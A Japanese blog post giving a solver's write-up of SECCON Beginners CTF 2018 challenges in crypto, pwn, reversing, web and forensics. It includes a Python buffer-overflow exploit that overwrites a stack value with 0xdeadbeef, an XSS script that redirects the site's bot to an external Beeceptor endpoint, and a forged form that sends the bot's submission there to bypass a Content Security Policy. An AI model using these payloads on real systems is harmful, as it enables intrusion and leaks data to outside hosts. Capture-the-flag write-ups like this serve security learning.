Ark's Blog

引っ越しました→ https://blog.arkark.dev/

ようこそ

SECCON Beginners CTF 2018 write-up

SECCON Beginners CTF 2018に参加しました!

CTFにちゃんと参加したのは初めてだったので腕試しとしてソロで参加してました。

f:id:ark4rk:20180527220235p:plain:w600

f:id:ark4rk:20180527220218p:plain:w600

reversingとpwnは完全に力不足を痛感したけど、他は割と奮闘できたんじゃないかと思う。

以下は、コンテスト中に解けた問題のwrite-upを書いていきます。
解法というよりは解くまでの思考の流れです。
Crypt, Pwn, Reversing, Web, Cryptの順。
付け焼き刃の知識とその場のググりで解いた感じなので、王道的な解き方とは逸れているかもしれない。

[Warmup] Veni, vidi, vici 51Pt | Crypto

zipファイルが与えられるので解凍

$ unzip veni_vidi_vici_e95fe3cb7932bfe5c017f018940652d0c0876fc8.zip

3つテキストファイル(part1, part2, part3)が出てくる

  • part1: Gur svefg cneg bs gur synt vf: pgs4o{a0zber
  • part2: Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u
  • part3: {ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥

part1, part2はぱっと見シーザー暗号っぽいので素直に復号。part1はgs4o{の箇所がctf4b{になるはずなので文字のシフト数がわかる。同じ流れでpart2もLzwTheになるはずなのでこれも復号できる。part3は逆さで読めばそのまま。

The first part of the flag is: ctf4b{n0more
The second part of the flag is: _cLass!cal_c
The third part of the flag is: Rypt0graphy}

RSA is Power 103Pt | Crypto

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

RSAの公開鍵NEが与えられるのでそこから秘密鍵(N素因数分解)を特定して'C'を復号する問題

普通公開鍵の情報だけだと秘密鍵はわからない(現実的に不可能)はずだけど、それが問題になってるわけなので、なんらかのアルゴリズムか何かで素因数分解が容易なケースになってそう

最初は色々ぐぐってアルゴリズムを調べて実装しようとしてたけど、めんどうになって「rsa factor online」でぐぐったら良さげなのがヒットした

www.alpertron.com.ar

Nを投げたら7分30秒で素数が返ってきた。強い

あとは、RSAの計算方法に従ってCを復号するだけ

コンテスト後に知ったけどFactorDBという素因数分解データベース的なサイトがあるらしい。ここにNを投げたら速攻で素因数分解してくれた。やばい。ブックマークした

Streaming 133Pt | Crypto

zipファイルが与えられるので解凍

$ unzip streaming_fa5287b1a4f1a48025b4ade8aaa044866aa09d99.zip

暗号化されたファイル(encrypted)と暗号化に使用したらしきソースコード(encrypt.py)が出てくる。encryptedを復号したらフラグが降ってきそうなのでencrypt.pyの逆の作用をするコードをDで書いた

import std.stdio;
import std.string;
import std.conv;

void main() {
    char[] str = readln.chomp.to!(char[]);
    assert(str.length%2 == 0);
    long T = str.length/2;

    long A = 37423;
    long B = 61781;
    long C = 34607;
    foreach(seed; 0..C) {
        char[] res = new char[2*T];
        long g = seed;
        foreach(i; 0..T) {
            long x = str[2*i+0] + str[2*i+1]*256;
            long y = x ^ g;
            res[2*i+0] = cast(char)(y/256);
            res[2*i+1] = cast(char)(y%256);
            g = (A*g + B)%C;
            writeln("seed: ", seed, ", result: ", res);
        }
    }
}

暗号化したときのseedの値がわからないけど、 0, 1, \cdots, C-1のどれかが(結果的に)正しいので、それらすべてを試す

$ rdmd po.d < encrypted | strings | grep ctf4b

を実行すると

seed: 32186, result: ctf4b{
seed: 32186, result: ctf4b{lc
seed: 32186, result: ctf4b{lcg-
seed: 32186, result: ctf4b{lcg-is
seed: 32186, result: ctf4b{lcg-is-e
seed: 32186, result: ctf4b{lcg-is-eas
seed: 32186, result: ctf4b{lcg-is-easil
seed: 32186, result: ctf4b{lcg-is-easily-
seed: 32186, result: ctf4b{lcg-is-easily-pr
seed: 32186, result: ctf4b{lcg-is-easily-pred
seed: 32186, result: ctf4b{lcg-is-easily-predic
seed: 32186, result: ctf4b{lcg-is-easily-predicta
seed: 32186, result: ctf4b{lcg-is-easily-predictabl
seed: 32186, result: ctf4b{lcg-is-easily-predictable}

と出力される。フラグゲット

[Warmup] condition 85 | Pwn

pwnの問題は解いたことがなかったので初チャレンジ

とりあえず権限付与

$ mv condition_68187f0953551cea907c48c016f19ff200de74b4 condition
$ chmod 777 condition

pwnに使えそうなコマンドやツールをぐぐってみると、ltrace, strace, objdump, gdbあたりが手軽で便利みたい

$ gdb ./condition

で動的解析をしつつ

$ objdump -D condition -M intel | less

で逆アセにかけるにかけると

  40078f:       48 8d 45 d0             lea    rax,[rbp-0x30]
  400793:       48 89 c7                mov    rdi,rax
  400796:       b8 00 00 00 00          mov    eax,0x0
  40079b:       e8 80 fe ff ff          call   400620 <gets@plt>
  4007a0:       81 7d fc ef be ad de    cmp    DWORD PTR [rbp-0x4],0xdeadbeef
  4007a7:       75 16                   jne    4007bf <main+0x4e>
  4007a9:       bf f8 08 40 00          mov    edi,0x4008f8
  4007ae:       e8 0d fe ff ff          call   4005c0 <puts@plt>

あたりが怪しい。0x4007a7のところでジャンプしないように入力を与えれば良さそう

この部分を読んでみると、入力の0x2c(= 0x30 - 0x4e)文字目からのバイト列を0xdeadbeefにすると通過できそう

そうなるようなsocket通信のプログラムをpythonで書いた

import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("pwn1.chall.beginners.seccon.jp", 16268))

s.recv(4096)
buf = ('A' * 0x2c).encode();
buf += struct.pack("<I", 0xdeadbeef)
buf += "\n".encode()
print(buf)
s.send(buf)

while True:
    c = s.recv(4096).decode("utf-8")
    if len(c) == 0:
        break
    print(c)

あとは

$ python po.py

を実行すればフラグが飛んでくる

[Warmup] Simple Auth 51Pt | Reversing

与えられたzipファイルを展開。権限付与

$ unzip Simple_Auth_d6d1615ec0ca18b0e911467b58c0d8e0a4b306fa.zip
$ chmod 777 simple_auth

objdumpで逆アセにかけると

  4006a8:       c6 45 d0 63             mov    BYTE PTR [rbp-0x30],0x63
  4006ac:       c6 45 d1 74             mov    BYTE PTR [rbp-0x2f],0x74
  4006b0:       c6 45 d2 66             mov    BYTE PTR [rbp-0x2e],0x66
  4006b4:       c6 45 d3 34             mov    BYTE PTR [rbp-0x2d],0x34
  4006b8:       c6 45 d4 62             mov    BYTE PTR [rbp-0x2c],0x62
  4006bc:       c6 45 d5 7b             mov    BYTE PTR [rbp-0x2b],0x7b
  4006c0:       c6 45 d6 72             mov    BYTE PTR [rbp-0x2a],0x72
  4006c4:       c6 45 d7 65             mov    BYTE PTR [rbp-0x29],0x65
  4006c8:       c6 45 d8 76             mov    BYTE PTR [rbp-0x28],0x76
  4006cc:       c6 45 d9 33             mov    BYTE PTR [rbp-0x27],0x33
  4006d0:       c6 45 da 72             mov    BYTE PTR [rbp-0x26],0x72
  4006d4:       c6 45 db 73             mov    BYTE PTR [rbp-0x25],0x73
  4006d8:       c6 45 dc 69             mov    BYTE PTR [rbp-0x24],0x69
  4006dc:       c6 45 dd 6e             mov    BYTE PTR [rbp-0x23],0x6e
  4006e0:       c6 45 de 67             mov    BYTE PTR [rbp-0x22],0x67
  4006e4:       c6 45 df 5f             mov    BYTE PTR [rbp-0x21],0x5f
  4006e8:       c6 45 e0 70             mov    BYTE PTR [rbp-0x20],0x70
  4006ec:       c6 45 e1 34             mov    BYTE PTR [rbp-0x1f],0x34
  4006f0:       c6 45 e2 73             mov    BYTE PTR [rbp-0x1e],0x73
  4006f4:       c6 45 e3 73             mov    BYTE PTR [rbp-0x1d],0x73
  4006f8:       c6 45 e4 77             mov    BYTE PTR [rbp-0x1c],0x77
  4006fc:       c6 45 e5 30             mov    BYTE PTR [rbp-0x1b],0x30
  400700:       c6 45 e6 72             mov    BYTE PTR [rbp-0x1a],0x72
  400704:       c6 45 e7 64             mov    BYTE PTR [rbp-0x19],0x64
  400708:       c6 45 e8 7d             mov    BYTE PTR [rbp-0x18],0x7d

の部分で認証パスワードをセットしてそう。順番に対応するASCII文字を確かめるとフラグになる

[Warmup] Greeting 51Pt | Web

与えられたURLのページにフォームとサーバー側のソースコードがある

ソースコードを読むとcookie"name=admin"をセットすればいいことがわかる

コンソールで

document.cookie = "name=admin";

を実行したあと、ページをリロード。フラグが表示される

Gimme your comment 78Pt | Web

新規投稿のページで適当にHTMLタグを使ってみると表示に反映される。XSSが使えそう

Beeceptorというサイトでエンドポイントを作ってそこに飛ばされるスクリプトを投げてみた

<script>
location.href = "http://hogehoge.proxy.beeceptor.com";
</script>

飛んできたリクエストのRequestHeaderのUser-Agentにフラグが書かれている

補足:Beeceptorはエンドポイントを簡単に作ってそこにリクエストを飛ばすことができるサイトです。前はRequestBinを使ってたんだけど最近調子が悪いみたいなのでこっちのサイトを使ってみました

Gimme your comment REVENGE 179Pt | Web

Gimme your commentのレベルアップ版

前の問題と同様にXSSを仕込もうとしてもContent Security Policy: ページの設定により次のリソースの読み込みをブロックしました: self (“default-src”) Source: 〜〜〜のようなエラーメッセージが表示されてうまくいかない

前の問題と違う箇所を探してみたらどうやらContent-Security-Policy: default-src 'self'というResponseHeaderが追加されている

f:id:ark4rk:20180528010126p:plain:w600

ぐぐってみると、どうやらこれによって外部スクリプトの呼び出しを禁止しているらしい。ブラウザの対応依存になってしまうけどXSS対策としては割と強力

どうしたものかソースコードを眺めてみたら

await page.click('button[type=submit]');

の行を見つけた。type="submit"となっているbuttonタグを探してクリックしてるっぽい

ということは、buttonタグを偽装して引っ掛けることができそうと思い、適当にhtmlのフォーム部分をコピペしてformタグのaction属性のところだけ適当なURLにした

<div id="comment_form">
    <form method="post" action="http://hogehoge.proxy.beeceptor.com">
      <input type="hidden" name="post_id" value="ba0e1de5a0583ea491b38474be966b3666a54adf">
      <div class="form-row">
        <div class="col-8">
          <input type="text" class="form-control" name="comment_content" placeholder="コメントをここに">
        </div>
        <input type="hidden" name="csrf_name" value="csrf5b0ad533b73c4">
        <input type="hidden" name="csrf_value" value="f8be99e147a15165c3ff51086b58cae6">        
        <div class="col-auto">
          <button type="submit" class="btn btn-primary mb-2">コメントを送信する</button>
        </div>
      </div>
    </form>
  </div>

飛んできたリクエストのRequestHeaderのUser-Agentにフラグが書かれている

[Warmup] Welcome 51Pt | Misc

やるだけ

[Warmup] plain mail 51Pt | Misc

$ strings packet.pcap

をやってみると

0I will send secret information. First, I will send encrypted file. Second, I wll send you the password.
kContent-Type: multipart/mixed; boundary="===============0309142026791669022=="
MIME-Version: 1.0
Content-Disposition: attachment; filename="encrypted.zip"
--===============0309142026791669022==
Content-Type: application/octet-stream; Name="encrypted.zip"
MIME-Version: 1.0
Content-Transfer-Encoding: base64
UEsDBAoACQAAAOJVm0zEdBgeLQAAACEAAAAIABwAZmxhZy50eHRVVAkAA6f/4lqn/+JadXgLAAEE
AAAAAAQAAAAASsSD0p8jUFIaCtIY0yp4JcP9Nha32VYd2BSwNTG83tIdZyU4x2VJTGyLcFquUEsH
CMR0GB4tAAAAIQAAAFBLAQIeAwoACQAAAOJVm0zEdBgeLQAAACEAAAAIABgAAAAAAAEAAACkgQAA
AABmbGFnLnR4dFVUBQADp//iWnV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAAB/AAAAAAA=
--===============0309142026791669022==--
_you_are_pro_

というメールのやり取りの断片が見える。メールの流れ的に2つ目のencrypted.zipがzipファイルで3つ目の_you_are_pro_がその解凍時のパスワード

2つ目のものはbase64エンコードされているので適当にencrypted.txtで保存したあと

$ base64 -d encrypted.txt > encrypted.zip
$ unzip encrypted.zip
Archive:  encrypted.zip
[encrypted.zip] flag.txt password: _you_are_pro_
 extracting: flag.txt 
$ cat flag.txt

でフラグ入手

てけいさんえくすとりーむず 55Pt | Misc

$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690

を実行すると、「100回計算して答えをかけ」と出て100問、613 + 906 =のような計算問題が出題される。300秒でタイムアウトするので人力では無理

pythonでコードかいた

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("tekeisan-ekusutoriim.chall.beginners.seccon.jp",8690))


for _ in range(1000):
    c = s.recv(4096).decode("utf-8")
    if len(c) == 0:
        break

    lines = c.splitlines()
    for line in lines:
        print(line)
    if "=" in c:
        ans = eval(lines[-1].split("=")[0])
        print(ans)
        s.send("{}\n".format(ans).encode())
$ python po.py

を実行でフラグが返ってくる

Find the messages 66Pt | Misc

ディスクイメージが与えられるのでそこからフラグを見つけ出す問題

実際にmountしてから色々調べるんだろうけどbinwalk, foremostを駆使したらそれっぽいファイルが3つ出てきた

$ 7z x disk.img_de4d3f06696ce78c1646ed140a0ca4e5fbe4c0aa.7z
$ binwalk -e disk.img
$ cd _disk.img.extracted
$ foremost 100000.ext
  • ./ext-root/message1/message_1_of_3.txt
  • ./ext-root/message2/message_2_of_3.png
  • ./output/pdf/00016898.pdf

message_1_of_3.txt

Y3RmNGJ7eTB1X3QwdWNoZWQ=

なのでbase64っぽい

$ base64 -d message_1_of_3.txt

を実行するとctf4b{y0u_t0uchedと出力される

message_2_of_3.png

拡張子は.pngだけどfileコマンドで確かめてみると

message_2_of_3.png: data

と出力される。hexeditでバイナリを見てみるとものすごくpngっぽい

一行目の

00000000   58 58 58 58  58 58 58 58  00 00 00 0D  49 48 44 52  XXXXXXXX....IHDR

がいかにも怪しい。pngのフォーマットをググると先頭のヘッダは

89 50 4E 47   0D 0A 1A 0A

のようなので、xxxxxxxxのところを編集する

再びfileコマンドで確かめるとpngファイルと認識してくれて、開いてみると

_a_part_of_

の書かれた画像が表示される

00016898.pdf

適当なpdf viewerで開くと

disk_image_for3nsics}

が見れる。ちなみにファイルのタイトルがmessage_3_of_3.pdfとなっている

以上の結果からフラグを入手